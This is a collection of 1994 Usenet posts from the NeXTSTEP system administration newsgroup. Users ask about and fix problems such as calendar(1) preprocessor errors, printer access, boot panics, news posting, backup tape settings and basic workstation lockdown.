Newsgroups: comp.sys.next.sysadmin
Subject: Re: Is calendar(1) broken for 3.2 on black?
Date: 25 May 94 00:58:42
Organization: Yukawa Institute for Theoretical Physics, Kyoto, Japan.
Distribution: world
Message-ID: <KAOKI.94May25005842@ps1.ps1.yukawa.kyoto-u.ac.jp>
References: <2rq8aj$7kc@wu1.wl.aecl.ca>
In-reply-to: larry@owrlakh.wl.aecl.ca's message of 23 May 1994 12:41:55 GMT
>>>>> On 23 May 1994 12:41:55 GMT, larry@owrlakh.wl.aecl.ca (Larry Gadallah) said:
...
Larry> I seem to recall that calendar did work under 2.1.
I am pretty sure that I saw the same behavior in ns2.x.
Larry> This is what the symptoms look like:
Larry> owrlakh:/users/larry> calendar
Larry> calendar:1: unterminated string or character constant
...
i believe this happens when you put an apostrophe, like
5/25 larry's birthday
^
it's annoying i know, since it's tempting to use apostrophes. i
don't se this behavior on the suns, for instance.
On the other hand, I don't think it's busted, per se. if you
avoid those 's and other stuff that tickles it, calendar will
behave itself, i think.. i use it all the time.
--
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Tokyo Institute of Technology, Oh-okayama, Meguro-ku, Tokyo, JAPAN
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From: jburke@bodacious.csc.wsu.edu (John L. Burke)
Subject: Printer seen by ROOT, but nobody else.
Message-ID: <1994May24.161926.22256@serval.net.wsu.edu>
Sender: news@serval.net.wsu.edu (USENET News System)
Organization: Washington State University
Distribution: na
Date: Tue, 24 May 94 16:19:26 GMT
I have a NeXT user here on campus who lost her system due to a time warp
or something (I'm not really sure what happened). Anyway, after
rebuilding the system, when she logs in as ROOT, she can see, and print
to, her LocalPrinter. When she logs in as a regular user, nothing will
let her print, she cant even see the printer as a choice. Any simple
ideas as to what we need to do?
Thanks for all replies.
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From: brad@instep.wimsey.bc.ca
Subject: Re: Is calendar(1) broken for 3.2 on black?
Message-ID: <1994May24.172837.17987@instep.wimsey.bc.ca>
Sender: brad@instep.wimsey.bc.ca (Bradley Head)
Organization: InStep Mobile Communications Inc.
References: <2rq8aj$7kc@wu1.wl.aecl.ca>
Date: Tue, 24 May 1994 17:28:37 GMT
In article <2rq8aj$7kc@wu1.wl.aecl.ca> larry@owrlakh.wl.aecl.ca (Larry
Gadallah) writes:
> Hello all,
>
> I just noticed this weekend that calendar(1) seems to be busted under
> 3.2 on black. Anyone else experience this? Is there a fix, other than
> ripping out the NeXT version and replacing it?
>
> I seem to recall that calendar did work under 2.1.
>
> This is what the symptoms look like:
>
> owrlakh:/users/larry> calendar
> calendar:1: unterminated string or character constant
> calendar:2: unterminated string or character constant
> calendar:3: unterminated string or character constant
> [38 lines deleted]
> calendar:41: unterminated string or character constant
> calendar:42: unterminated string or character constant
> 05/23 Calendar test
> owrlakh:/users/larry> calendar -
> /usr/bin/calendar: syntax error at line 1: `^' unexpected
>
Yes, the /usr/bin/calendar is broken sort of. The '-' (dash) option doesn't
work anymore. As far as the errors listed re string or char constant, I think
this is more to do with the filter calendar uses. Try removing any # preceding
comments from the lines it quotes as having errors. Also lines like:
May 24 Mom's birthday!
will fail since the quote thingy there will result in an error.
Don't know why /usr/bin/calendar broke. But it's been that way since release
3.1.
BTW, someone sent me a patch that fixes the '-' dash option. It may be on the
archives somewhere.
Brad.
--
Brad Head <brad@instep.wimsey.bc.ca>
Software Developer, InStep Mobile Communications Inc.
Vancouver, British Columbia CANADA
From: bobs@pth3.bu.edu (Robert Singleton)
Newsgroups: comp.sys.next.sysadmin
Subject: Annoying Icon Problem II
Date: 24 May 1994 19:06:49 GMT
Organization: Boston University
Message-ID: <2rtj89$6eo@news.bu.edu>
Recently I wrote concerning an annoying icon problem I'm
having. When I'm logged in as root, the home directory
bobs (which is my usual home directory) appears as a regular
folder - it doesn't have the double house icon. But if I'm
logged in as bobs, the usual single house icon appears.
Thanks very much to all those who replied to me. The most
common suggestion was that I had a non-unique UID. I checked
this and it was not the case. But I now have more information
on the problem. Someone sent me a .dir.tiff file to try out
(a yellow sun-like picture). I placed the .dir.tiff file in my
home directory and of course my home folder icon became a yellow
sun - and this happened logged in as myself *and* as root. So
apparently when I'm logged in as root, it doesn't know which icon
to use. There must be a directory with the appropriate icons, and
a way to set a search path, but I've made no progress along these
lines. Any suggestions would be greatly appreciated.
regards,
--
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bobs@pth3.bu.edu
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From: keogh@anshar.shadow.net (Matt Keogh)
Subject: cmsg cancel <2rs95v$85m@anshar.shadow.net>
Organization: Shadow Information Services, Inc.
Date: 24 May 1994 03:08:47 -0400
Message-ID: <cancel.2rs95v$85m@anshar.shadow.net>
Skinny Dip
From: dekorte@ibm19.scri.fsu.edu (Stephen L. DeKorte)
Newsgroups: comp.sys.next.sysadmin
Subject: binaries for IRC and other unix utilities?
Date: 24 May 1994 20:18:22 GMT
Organization: Supercomputer Computations Research Institute
Message-ID: <2rtnee$pqt@mailer.fsu.edu>
Anyone know where I can ftp NeXT(black) binaries for:
IRC
www
gopher
and the like?
Thanks for any info,
Steve
From: doyle@phlebas.rockefeller.edu (Mark D. Doyle)
Newsgroups: comp.sys.next.sysadmin
Subject: NFS server hanging
Message-ID: <1994May24.150523.26062@rockyd.rockefeller.edu>
Organization: Rockefeller University
Date: Tue, 24 May 94 15:05:23 EDT
Hi all,
We have a small network of NeXT's and our NFS server hangs about
once a week. Rebooting seems to be the only solution. The server is
probably underpowered with RAM (only 16 Megs). I know it is in general a
good idea to beef this up, but is this the likely cause of the hanging?
No interesting messages ever show up in the console or in /usr/adm/messages.
Thanks,
Mark
doyle@theory.rockefeller.edu
From: pln@egret0.Stanford.EDU (Patrick L. Nolan)
Newsgroups: comp.sys.next.sysadmin
Subject: Error 20 on init [white]
Date: 24 May 1994 23:07:18 GMT
Organization: Stanford University
Message-ID: <2ru1b6$kj3@nntp2.Stanford.EDU>
My 486 with NS 3.2 is in trouble again. When it tries to boot, it
gets to the point of trying to run mach_init and fails with an
Error 20. Then it tries to run init, and gets the same error.
Then it just stops.
It looks to me as if the file or disk structure may be corrupted.
I can't get far enough in the boot process to run fsck, though.
Is there anything I can do to repair this? The last time
something like this happened I re-installed the OS.
This came about as I was tinkering with the various EISA set-up
parameters for the SCSI controller. There had been a persistent
problem with the setup provided by the vendor. I set everything
as recommended by NeXT, and the problem went away. Then I tried
setting things one at a time back to the way the vendor set them
to find out the true nature of the problem. Crash. Setting the
parameters doesn't help. It won't boot even with -bs or
Config=Default.
Hardware details: Cache Computers VLB/EISA motherboard,
DPT 2022 SCSI, Seagate 1 GB drive, ATI video.
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From: ccpaulh@monad.missouri.edu (H. Paul Hammann)
Newsgroups: comp.sys.next.sysadmin
Subject: view image in pine mail under NeXTSTEP
Date: 24 May 1994 20:42:50 GMT
Organization: University of Missouri - Columbia
Distribution: world
Message-ID: <2rtoso$b5b@golf.ustores.missouri.edu>
I have installed pine on a cluster of networked NeXTs. (Black
hardware, 3.2 OS) For some reason I can't seem to be able to view things.
(Like MIME encoded GIFs included in the message) I tried using "open" on
the following line in the configuration file, but it didn't work.
# Program to view images if format such as GIF and TIFF
image-viewer=
Any help, hints, or pointers would be appreciated!
--
H. Paul Hammann
assistant NeXT system administrator
ccpaulh@monad.missouri.edu
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From: NOETZEL@wsuvm1.csc.wsu.edu (Jeremy Noetzelman)
Subject: Adding network accounts
Message-ID: <16FC0DD05S85.NOETZEL@wsuvm1.csc.wsu.edu>
Sender: news@serval.net.wsu.edu (USENET News System)
Organization: Washington State University
Date: Tue, 24 May 94 15:43:01 PST
I would like to know whether it is possible to add network user accounts using
nu as opposed to UserManager.app. I need to have a script or program that will
add users to Netinfo in the root domain of the Network and can be run remotely
without problems. The man page on nu(8) states that attempting to modify a
remote domain will fail. Does anyone know if that goes for the root domain as
well?
Replys much appreciated.
Jeremy Noetzelman
NeXT-Mail: noetzel@scs411.csc.wsu.edu
From: shawk@panix.com (Sandy Hawkins)
Newsgroups: comp.sys.next.sysadmin
Subject: Panic on boot up
Date: 24 May 1994 22:50:16 -0400
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <2rued8$26n@panix2.panix.com>
My TurboCube boots up normally until just before the login panel should
appear. It then shows
callout_dispatch (28, 0x405eb34, 291143680)
Panic: (cpu0)callout_dispatch
Now what?
Regards
From: de5@sws1.ctd.ornl.gov (Dave Sill)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc,comp.mail.sendmail
Subject: Re: Sendmail V8 (who's running it?)
Followup-To: comp.sys.next.sysadmin,comp.sys.next.misc,comp.mail.sendmail
Date: 25 May 1994 02:59:38 GMT
Organization: Oak Ridge National Lab, Oak Ridge, TN
Distribution: world
Message-ID: <2rueuq$hht@stc06r.CTD.ORNL.GOV>
References: <ROBERT.94May18170535@steffi.demon.co.uk>
In article <ROBERT.94May18170535@steffi.demon.co.uk> Robert Nicholson (robert@steffi.demon.co.uk) wrote:
> As I understand it need to go and grab the new BSD dbm stuff too?
It's not mandatory, but it is recommended.
> How trivial are the config files for this?
We use a 4-5 line config file for most systems here, and they aren't just
passing everything off to a "smart" mailhub.
> "Emacs isn't pretty. It's functional!"
Have you seen Lucid Emacs or GNU Emacs 19.23+?
--
Dave Sill (de5@ornl.gov) I dream of a televisionland where it will be
Martin Marietta Energy Systems as hard for a network to expose us to violence
Workstation Support as it is for me to tell someone they have
spinach on their teeth. --Paula Poundstone
URL http://www.dec.com/pub/DEC/DECinfo/html/dsill.html
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From: westes@netcom.com (Will Estes)
Subject: Location of next system logs?
Message-ID: <westesCqC92E.F3@netcom.com>
Organization: Mail Group
Date: Wed, 25 May 1994 03:15:49 GMT
Is /usr/adm/messages the closest thing to a system log that NS 3.2
FIP uses? Are there other system logs? I did a search on "system
log" in the on-line system administration manual, but I did not find
any hits.
--
Will Estes Internet: westes@usc.com
From: eagle@catt.ncsu.edu (Daniel C. L'Hommedieu)
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
Subject: System Panic
Date: 25 May 1994 03:40:55 GMT
Organization: North Carolina State University
Message-ID: <2ruhc7$8le@taco.cc.ncsu.edu>
Recently, my Cube has begun this thing with System Panics. I was
running GISO yesterday, converting a (large) sound. I ran nn and BAM!
System panic. Today, I was running GISO on a (large) sound, and did 'ls
-l' and BAM! System panic. I'm running NextStep 2.1 on an 030 Cube.
Anybody else had simlar results with GISO? Or am I possibly doing
something else to bring on this odd behavior?
I searched the system logs, but I couldn't find anything about the
panics to show you guys...
Thanks for any help.
Daniel
--
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eagle@nest.catt.ncsu.edu (NeXT Mail preferred)
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From: dylan@Angst.COM (Dylan Kohler)
Subject: Posting from other LAN hosts
Message-ID: <1994May25.010831.2489@Angst.COM>
Sender: dylan@Angst.COM
Organization: Angst Animation Post Production
Date: Wed, 25 May 1994 01:08:31 GMT
I installed Newsgrazer and CNews using the CNews.pkg on the archives.
Works great, except for one hitch. I can't seem to post from any other
NeXT on our LAN that isn't the mailserver, the one with the UUCP
connection to Netcom. Posts just end up in dead.article in my home
directory.
BTW, /usr/spool/mail and /usr/spool/news are mounted from the mailserver.
Is there a tricky way of getting this to work?
Thanks in advance. If someone has a solution to this, I'll summarize.
--
___________________________________
Dylan Kohler
Angst Animation Post Production
dylan@angst.com (NeXTmail welcome)
From: kc@yucca.omnigroup.com (Ken Case)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Is calendar(1) broken for 3.2 on black?
Date: 24 May 1994 19:52:53 -0700
Organization: Omni Development, Inc.
Message-ID: <2ruei5$9l3@yucca.omnigroup.com>
References: <2rq8aj$7kc@wu1.wl.aecl.ca> <1994May24.172837.17987@instep.wimsey.bc.ca>
brad@instep.wimsey.bc.ca writes:
>In article <2rq8aj$7kc@wu1.wl.aecl.ca> larry@owrlakh.wl.aecl.ca (Larry
>Gadallah) writes:
>> Hello all,
>>
>> I just noticed this weekend that calendar(1) seems to be busted under
>> 3.2 on black. Anyone else experience this? Is there a fix, other than
>> ripping out the NeXT version and replacing it?
>>
[...]
>Yes, the /usr/bin/calendar is broken sort of. The '-' (dash) option
>doesn't work anymore. As far as the errors listed re string or char
>constant, I think this is more to do with the filter calendar uses.
Yep: when NeXT updated their C preprocessor a few releases back, it
started caring about some things (like unterminated character
constants) which it didn't care about previously.
>Try removing any # preceding comments from the lines it quotes as
>having errors. Also lines like:
>
>May 24 Mom's birthday!
>
>will fail since the quote thingy there will result in an error.
>Don't know why /usr/bin/calendar broke. But it's been that way since release
>3.1.
Good advice.
>BTW, someone sent me a patch that fixes the '-' dash option. It may
>be on the archives somewhere.
The fix is simple: find the line that begins with:
( cat /etc/passwd; nidump passwd . ; /usr/lib/calendar -p ) |
Remove the "; /usr/lib/calendar -p" to make it begin with:
( cat /etc/passwd; nidump passwd . ) |
While you're in there, you might want to find all invocations of
/lib/cpp and change them to "/lib/cpp -undef -C -P": that way, you
can say things like:
05/24/93 Big appointment with NeXT today // Remember your notes!
and have it come out the way you'd expect, rather than as:
05/24/93 Big appointment with 1 today
Happy hacking!
Ken
From: eelco@bsovax.UUCP (Eelco Lammers)
Newsgroups: comp.sys.next.sysadmin
Subject: Security questions
Keywords: security, application dock, floppy disk
Message-ID: <419@bsovax.UUCP>
Date: 24 May 94 10:28:38 GMT
Organization: BSO/AT Utrecht bv., P.O.Box 8052, 3503 RB UTRECHT, The Netherlands
Hello everybodY,
I have a number of questions regarding security aspects of the
NextStation. We have a number of NextStations (with NextStep 3.1)
running a graphical oriented application for end-users. At the moment,
the end-user has too many possibilities to damage the system, and we
do not want to allow this.
Of course we implemented a file protection scheme which prohibits
access of the end-user to dangerous files, but this appeared to be
insufficient security.
Therefore, the following questions :
1 - Is it possible to hide the complete Application Dock for the end-user ?
(The system manager must keep the ability to use his Application Dock).
2 - Is it possible to disable the Work Space Manager's File Viewer for the
end-user ? (The system manager must keep the ability to use his File
Viewer).
3 - Is it possible to block the usage of the floppy drive for the end-user ?
(The system manager must keep the ability to use the floppy drive).
4 - Is there a virus-scanner available ? How can we obtain it ?
5 - I am working on a NextStation with the man-pages removed (due to lack
of disk space). Does anybody know a document which describes the shell
commands of the Next ? The standard documentation only contains the
description of a few commands, like 'nu'.
With kind regards,
Eelco LammerS
Newsgroups: comp.sys.next.sysadmin
From: (Albatross)
Subject: Re: binaries for IRC and other unix utilities?
Message-ID: <CqCE8v.9s@haquer.uucp>
Sender: alby@haquer.uucp (Albatross)
Organization: The Empire Organization {TEO}
References: <2rtnee$pqt@mailer.fsu.edu>
Date: Wed, 25 May 1994 05:07:42 GMT
I have a compiled (After I modded it) binary for IRC. The latest
version. As for www and gopher.. Nope...
This is what I have:
139349 Feb 9 01:01 PPP3.0.tar.gz
158610 Feb 13 12:38 TCP_WRAPPER.tar.gz
436553 Apr 30 16:28 c-news.tar.gz
1115870 May 23 01:35 ircii2.3.1.tar.gz
256299 May 24 00:50 m4-1.1.tar.gz
4997 May 18 02:33 rmail.tar.gz
654199 Feb 22 01:32 trn.tar.gz
NOTE: Everything has been compiled under NS 3.0
-Alby
Stephen L. DeKorte writes
> Anyone know where I can ftp NeXT(black) binaries for:
>
> IRC
> www
> gopher
> and the like?
>
> Thanks for any info,
> Steve
>
Newsgroups: comp.mail.uucp,comp.sys.next.sysadmin
From: klaus@gaston.boss.sub.org (Klaus Lichtenwalder)
Subject: Re: Best way to start Taylor from cron?
Message-ID: <1994May25.074639.26145@gaston.boss.sub.org>
Organization: Gastonfreaks on a Linux box
Date: Wed, 25 May 1994 07:46:39 GMT
References: <westesCq9xpK.8zy@netcom.com>
westes@netcom.com (Will Estes) writes:
>With HDB UUCP, we used:
> /usr/bin/uupoll -n netcomsv
> /usr/lib/uucp/uucico -r1 -x9
>But with Taylor, there is no uupoll program. What's the recommended
>equivalent?
Don't know if it's recommended, but it's in the manual/doc:
13,36,47 * * * * /usr/local/lib/uucp/uucico -r1
3 1,4,6,9,11,13,15,17,20,23 * * * touch /usr/spool/uucp/<Sitename>/C./C.A0000
Klaus
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__________________________________________________________________________
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Datapat GmbH Fax: +49-89-983297
Mauerkircherstr. 8 email: Lichtenwalder@ACM.org
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Location of next system logs?
Message-ID: <1994May25.074830.3240@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <westesCqC92E.F3@netcom.com>
Date: Wed, 25 May 1994 07:48:30 GMT
In article <westesCqC92E.F3@netcom.com> westes@netcom.com (Will Estes)
writes:
> Is /usr/adm/messages the closest thing to a system log that NS 3.2
> FIP uses? Are there other system logs? I did a search on "system
> log" in the on-line system administration manual, but I did not find
> any hits.
Look at the other files in /usr/adm; and take a close look at
/etc/syslog.conf (which is documented).
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Posting from other LAN hosts
Message-ID: <1994May25.075059.3301@seer.demon.co.uk>
Sender: news@seer.demon.co.uk
Organization: P & L Systems
References: <1994May25.010831.2489@Angst.COM>
Date: Wed, 25 May 1994 07:50:59 GMT
In article <1994May25.010831.2489@Angst.COM> dylan@Angst.COM (Dylan
Kohler) writes:
> I installed Newsgrazer and CNews using the CNews.pkg on the archives.
> Works great, except for one hitch. I can't seem to post from any other
> NeXT on our LAN that isn't the mailserver, the one with the UUCP
> connection to Netcom. Posts just end up in dead.article in my home
> directory.
NewsGrazer uses inews to post. Check the preferences setting for inews,
then run it by hand (using inews -h). You might have not set up your nntp
posting permissions: see nntp_access.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
From: hh@dc5101.aalborges.dk (Hjerre F. Hviid)
Newsgroups: comp.sys.next.sysadmin
Subject: [Q] Turning off zoomrects
Date: 25 May 1994 10:43:18 GMT
Organization: News server at Danish Commerical Schools
Message-ID: <2rva46$4nm@esanews.denet.dk>
Subject says it all ... is it possible to turn off the zoomrects ?
it kinda slow down the system !
--
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Hjerre F. Hviid |
Aalborg Business College |
School of Comp. Sci. |
Sofiendalsvej 97 | If DOS is life,
DK-9220 Aalborg SV | why fear death ?
Denmark |
hh@aalborg.es.dk |
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From: mark@xexos.com (Mark Chamberlain)
Subject: Re: Posting from other LAN hosts
Message-ID: <CqCtn0.50D@xexos.com>
Sender: usenet@xexos.com
Organization: Xexos Ltd (London)
References: <1994May25.075059.3301@seer.demon.co.uk>
Date: Wed, 25 May 1994 10:40:11 GMT
In article <1994May25.075059.3301@seer.demon.co.uk> paul@seer.demon.co.uk (Paul
Lynch) writes:
> > I installed Newsgrazer and CNews using the CNews.pkg on the archives.
> > Works great, except for one hitch. I can't seem to post from any other
> > NeXT on our LAN that isn't the mailserver, the one with the UUCP
> > connection to Netcom. Posts just end up in dead.article in my home
> > directory.
>
> NewsGrazer uses inews to post. Check the preferences setting for inews,
> then run it by hand (using inews -h). You might have not set up your nntp
> posting permissions: see nntp_access.
No, NewsGrazer uses either inews (in flat-file mode) or NNTP (when in NNTP
mode). When in NNTP mode, the NNTP daemon runs inews and all that for you.
Easy way to see how things are working when in NNTP mode is to "telnet newshost
119" (where newshost is the name of your news server, and then enter "post". If
the daemon answers "Posting Okay", you're in business and the access file is
correct.
--
Mark Chamberlain +44 71 237 4535
Xexos Ltd fax +44 71 231 0844
London mark@xexos.com
From: gonzo@cs.tu-berlin.de (S. F. Ruehauf)
Newsgroups: comp.sys.next.sysadmin
Subject: how to print on color printer with ethernet connector
Date: 25 May 1994 11:16:18 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2rvc23$7ds@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Keywords: lpr ppd _nxfinalform drivers
hello
I have a problem with an efi color printer
This printer is directly connected to the ethernet
it understands tcp/ip, and a kind of bsd lpr,lpd
I print from a NeXT .
With a new printcap entrys and _nxfinalform.
In Devices I use PostScriptPages
The NeXT does not read the efi.ppd file.
It delivers somethin like NeXTstep or Display - PostScript.
Is there a name convention (I use _ in the ppds name)?
Is ther a problem with the directories? The ppd is in the
Printertyp dir?
What are the right Drivers and Admin properties for the printcap?
Is there anybody who can sent me a nidump -r / / with complete printcap?
(And the place and name of the ppd?)
Please respond via email
Thanx
SfR
--
Stephan Fruhauf gonzo@cs.tu-berlin.de
what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
From: fgan@athena.mit.edu (Gan Fanqui)
Newsgroups: comp.sys.next.sysadmin
Subject: [Q] RUNNING X-WINDOWS ON NeXT
Date: 25 May 1994 12:59:04 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <2rvi2o$ioj@senator-bedfellow.MIT.EDU>
Hello, We have a NeXT blackbox station running NeXT step 3.1. It is also connect
to MITnet which is running x-windows through ethernet. We wondered can we run
x-windows in the NeXT station? What do we need to run? We appreciate any help.
--Gan
From: bobs@pth3.bu.edu (Robert Singleton)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Annoying Icon Problem II
Date: 25 May 1994 15:06:19 GMT
Organization: Boston University
Message-ID: <2rvphb$2kf@news.bu.edu>
References: <2rtj89$6eo@news.bu.edu>
Thanks, to all those who gave me a hand with this. It
turns out that I had "Large File System" selected in
the Preferences.app in root. I unselected it and now
the double house icon for my home directory shows up.
regards,
--
bob singleton
bobs@pth3.bu.edu
From: eagle@catt.ncsu.edu (Daniel C. L'Hommedieu)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: System panic again!
Date: 25 May 1994 16:06:10 GMT
Organization: North Carolina State University
Message-ID: <2rvt1i$ips@taco.cc.ncsu.edu>
Okay, my system panicked again today. I was running nn this time, and I
mailed an article to myself. When I selected "no .sig" and hit ENTER,
BAM! System panic on "uncaught exception 15". That's what it is every
time. It also says system dies due to Window Server death.
To my knowledge, I have not changed anything on my system in quite some
time (months). It has done this system panic thing 3 times in the last
48 hours.
Any ideas or help?
Thanks.
Daniel
--
Daniel "eagle" L'Hommedieu
Daniel_LHommedieu@nest.catt.ncsu.edu
eagle@nest.catt.ncsu.edu (NeXT Mail preferred)
From: ajn@island.essex.ac.uk (Alastair)
Newsgroups: comp.sys.next.sysadmin
Subject: Lost root password on Next - manual's solution doesn't work?
Message-ID: <AJN.94May25131412@island.essex.ac.uk>
Date: 25 May 94 12:14:12 GMT
Sender: news@sersun1.essex.ac.uk
Distribution: world
We have a NextStation TurboColour (N1200) for which the root password has been
lost. The machine is running NeXT Mach 3.0 and NextStep 3.0, with Rom Monitor
version 3.3 v74. I followed the suggestion in the manual, holding down the
command bar and hitting the ~` key right after the system testing message
goes away - but to no avail it does not kick me into the rom monitor it just
restarts the boot. Am I misreading the manual? not being quick enough? or is
there some trick I am missing. Any help greatly appreciated.
P.S. the manual mentioned pressing the ~` key on they key-pad - but there is
no ~` key on the key pad...???
From: ajn@island.essex.ac.uk (Alastair)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Lost root password on Next...
Message-ID: <AJN.94May25131818@island.essex.ac.uk>
Date: 25 May 94 12:18:18 GMT
Sender: news@sersun1.essex.ac.uk
Distribution: world
sorry to follow up my own post - I noticed that my email address is bogus
on the previous post - the correct address is ajn@essex.ac.uk. Thanks
Alastair Neil.
Newsgroups: comp.sys.next.sysadmin
From: jacques@touga.vd.alphanet.ch
Subject: Re: root password fails
Message-ID: <CqAtyB.7p@touga.vd.alphanet.ch>
Sender: jacques@touga.vd.alphanet.ch (Jacques Garbi)
Organization: Touga Management SA
References: <2rdqd8$i6p@network.ucsd.edu>
Date: Tue, 24 May 1994 08:51:47 GMT
In article <2rdqd8$i6p@network.ucsd.edu> jklinke@aeon.ucsd.edu (Jochen
Klinke) writes:
> I just realized that I cannot login any longer as root from the login
> window. Last week it still worked. No problems to su to root from a
> terminal though. So I rebooted single user and reset the root password.
> Still no change. Login not possible from the login window. Any ideas?
> Please help.
>
> Thanks,
>
> jk
Can you log in with different usernames ?
Jacques
Newsgroups: comp.sys.next.sysadmin
From: wucolin@popeye.CIS.McMaster.CA (Colin Wu)
Subject: How to boot from external drive?
Message-ID: <1994May25.180648.4850@mcshub.dcss.mcmaster.ca>
Sender: usenet@mcshub.dcss.mcmaster.ca
Organization: McMaster University, Hamilton, Ontario.
Date: Wed, 25 May 1994 18:06:48 GMT
I have a 1.2G external drive on which I've installed NS3.2, and it works great
as long as I interrupt the boot process and manually type the boot command:
bsd(1,0,0)sdmach rootdev=sd1a
If I just type
bsd(1,0,0)
it'll boot off the external, but will always want to put the root partition on
sd0a. Anyone know how I can convince my slab to do the equivalent of the above
without my intervention all the time? I would be quite happy even if I could
enter the above command in the boot parameter, but the string is too long!
--
__ _ _ Colin Wu
/ ) // ' ) / Network Analyst
/ __|/ o ____ / / / . . Computing & Information Services
(__/ (_) \_<_/ / <_ (_(_/ (_/_ McMaster University
(905)525-9140 ext 24050
"If you want to truly understand something, try to change it." - Kurt Lewin
From: tfs@gravity.science.gmu.edu (Tim Scanlon)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Security questions
Followup-To: comp.sys.next.sysadmin
Date: 25 May 1994 11:22:29 GMT
Organization: George Mason University, Fairfax Va.
Sender: tfs@gravity.science.gmu.edu
Distribution: world
Message-ID: <2rvcdl$6u8@portal.gmu.edu>
References: <2rn4mc$lkv@portal.gmu.edu> <1994May22.191643.16767@seer.demon.co.uk>
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In article <1994May22.191643.16767@seer.demon.co.uk> paul@seer.demon.co.uk writes:
>In article <2rn4mc$lkv@portal.gmu.edu> tfs@gravity.science.gmu.edu (Tim
>Scanlon) writes:
>> In article <415@bsovax.UUCP> eelco@bsovax.UUCP (Eelco Lammers) writes:
--------Munch------------------
>
>I agree with Tim that this doesn't make 100% sense, if we make a whole
>load of assumptions from context about where this user is coming from.
>However, it is certainly true that in some circumstances end-users could
>have too much access to critical files (mostly resulting from poor
>configuration, but this could also be true for a DoD user, or any user
>with a requirement for rigorous security).
At what class? C ? definetly not B. If the permissions are set for
it you can with some small effort make the box very secure. Since it's
Unix under all this, and since group permissions work well, it's possible
to make it reasonably secure, but not immune, that's almost by definition
impossible for any "stock, off the shelf" setup, DOS & windoze included,
when console access is given.
>> >Therefore, the following questions :
>> >1 - Is it possible to hide the complete Application Dock for the
>end-user ?
>> > (The system manager must keep the ability to use his Application
>Dock).
>> Not really, and you wouldn't want to either... This is kind of
>> silly.
>Yes, you can. It may not be desirable for you, but you shouldn't over
>assume.
True, I shouldn't assume. People often do dumb sounding things
for good reason...
>> >2 - Is it possible to disable the Work Space Manager's File Viewer for
>the
>> > end-user ? (The system manager must keep the ability to use his
>File
>> > Viewer).
>> see above
>It is possible to remove the Workspace; not entirely desirable, but
>certainly feasible to do.
From what I know both of the above are possible, but not very
desirable is an apt description to say the least. Much better to leave
what you can, and make the configuration files in ~/.NeXT read only
links to some place else. I've read of a number of ways to handle this
over time, most of which escape me at the moment. In any event a "logout"
hook can be put in to restore the "default" enviornment, and I belive
that it's in all likelyhood possible to use a combination of links,
fixed permissions & a fixed enviornment (a program to chroot would help too)
to set it up so there is a limited but not crippled GUI setup. This presumes
that we're talking only security, & not astetics. Then too people have
been known to boot into X, so there's no accounting for taste, or need.
>> >3 - Is it possible to block the usage of the floppy drive for the
>end-user ?
>> > (The system manager must keep the ability to use the floppy drive).
>> Yes, buy a physical floppy drive lock. I don't know any vendors
>> offhand, but ask on comp.security & they can answere you I am sure.
>There are far easier ways (like changing permissions on the floppy
>device).
If this is a serious concern, the money spent on buying a physical
guard is money well spent.
>> >4 - Is there a virus-scanner available ? How can we obtain it ?
>> UNIX DOE NOT GET VIRUSES! don't worry about them. they are a
>non-issue.
>There aren't any viruses (as such) for Unix; but it doesn't meant to say
>that they are impossible. Please....
When I hear about one that spreads, and is a tangible threat, I'll
worry about this. And I'll reccoment other people worry about it too. But
until something more than theory shows up, it is not a concern. It's not
impossible that I'll fly to the moon someday, and I figure a unix virus is
about as likely. (Yea I DO want to goto the mooon :> ) Unix "virus"
software is pretty much scamware, and fortunatly there are only a few
companies unethical enough to sell the stuff out there. (The good ones
check DOS & Mac files for those OS viruses from the Unix OS, they don't look
for "unix viri".)
>There are a number of much more important risks to guard against; COPS,
>and crack are two good recommendations.
Agreed, ftp to ftp.cert.org for alot of good info & Cops.
I do security in RL, and it's not often I run into NeXT related
security questions, as it's genrally better out of the box than stuff like
Suns' BugOS, & some other versions of Unix that can only be described as
plauged by holes. As a result, things like this happen & I just fire from
the hip w/o taking the time or effort it deserves when I do unexpectedly
see something. My apologies to whomever for both beign abrupt and making
assumtions about what might otherwise be silly things to do.
TIm Scanlon
From: sherwood@arafel.space.ualberta.ca (System Administrator)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: DAT dumping
Date: 25 May 1994 19:49:13 GMT
Organization: Computer and Network Services, U of Alberta, Edmonton, Canada
Message-ID: <2s0a3p$fbl@quartz.ucs.ualberta.ca>
References: <940524123913.15136AACYN.scott@shrug>
Scott McIntyre (S.A.McIntyre@durham.ac.uk) wrote:
: I'm sure that this should be a FAQ by now (someone please tell me if it is)
: but what are the correct parameters for dump(8) when using a HPDAT and 60 or
: 90m tape?
: Or does it really matter?
: scott
The reason for the parameters is that the original dump worked with
absurdly small tapes. The tape drives were stupid and would quite
casually wind the tape off the end of the spool. So you told it the
density and length of the tape so that dump would calculate how much
stuff would fit, write that much, then ask for a new tape.
It's not significant for you unless you have partitions that are larger
than what whill fit on the tape.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: sherwood@arafel.space.ualberta.ca (System Administrator)
